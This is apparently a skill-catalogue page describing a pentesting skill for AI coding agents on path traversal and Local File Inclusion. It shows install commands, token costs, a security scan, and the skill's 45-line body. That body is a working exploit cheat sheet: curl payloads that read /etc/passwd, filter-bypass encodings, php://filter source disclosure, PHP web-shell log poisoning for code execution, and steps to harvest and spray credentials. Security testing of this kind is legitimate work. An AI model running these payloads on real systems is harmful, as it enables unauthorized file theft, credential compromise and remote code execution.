web-lfi-traversal

A guide to path traversal and Local File Inclusion (LFI), web flaws that let an application read files outside its intended folder or load local files as content. It covers file disclosure and possible code execution when the application includes files.

In plain words
What is it for?
Testing file, page, template, language, download, and include parameters; reviewing source and configuration exposure; and assessing whether file inclusion can run code.
Why use it?
It helps distinguish harmless file selection from access to sensitive system or application files, while checking common encoding and filtering mistakes.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/s0ld13rr/pentestcode/lfi-traversal
Any agent
npx skills add s0ld13rr/pentestcode --skill lfi-traversal
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Per session 83 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 684 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00083 $0.00684
Opus 5 $0.00042 $0.00342
Sonnet 5 $0.00017 $0.00137
Haiku 4.5 $0.00008 $0.00068

Measured 3d ago against content hash 9702a7f77cca, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

web-lfi-traversal scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl 'http://<t>/?page=../../../../etc/passwd' # classic
skills/web/lfi-traversal/SKILL.md · 45 lines

How it starts

The opening of the file, as written. The whole thing — 45 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Path Traversal / LFI

When this fires

A param selects a file/page/template/language/download, or a download/include endpoint reflects file content.

Detect

curl 'http://<t>/?page=../../../../etc/passwd'          # classic
curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd'  # url-encoded
curl 'http://<t>/?page=....//....//etc/passwd'          # filter-strip bypass

root:x:0:0 back = traversal/LFI. Windows: ..\..\..\windows\win.ini.

Decide

  • Reads only (traversal) → escalate to source disclosure + secrets.
  • PHP include() (LFI) → escalate to RCE via wrappers/poisoning.
  • Extension appended (page.php) → php://filter (below) or null-byte on old PHP; try ?page=../../etc/passwd%00 (PHP<5.3.4).

Exploit → PROVE IMPACT

# source disclosure (base64 so PHP doesn't execute it):
curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline
# LFI → RCE paths:
#  log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log
#  session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID>
#  php://input / data:// (if allow_url_include) ; /proc/self/environ (older)
#  php filter chain → RCE (php_filter_chain_generator) when only file-read is available

Proof required: contents of a file the app shouldn't return (/etc/passwd, an .env with creds), or id via an LFI→RCE chain. Harvested creds → add_credential + cred_spray.

Tooling

nuclei -tags lfi,traversal; ffuf with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases.

False positives / pitfalls

  • WAF/framework normalizes ../ → try encodings, ....//, absolute paths, or a different param.
  • App sandboxes to a base dir → look for a symlink/upload you control to include.
  • 200 with generic page ≠ read — confirm the actual file bytes are in the response.

Read the full file on GitHub · 45 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 45 lines · 83 tokens per session scan A 9702a7f77cca

Subscribe to this mod's changes

web-lfi-traversal is a skill published in the GitHub repository s0ld13rr/pentestcode (594 stars, last pushed 12d ago), licensed MIT. It adds 83 tokens to every session and 684 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.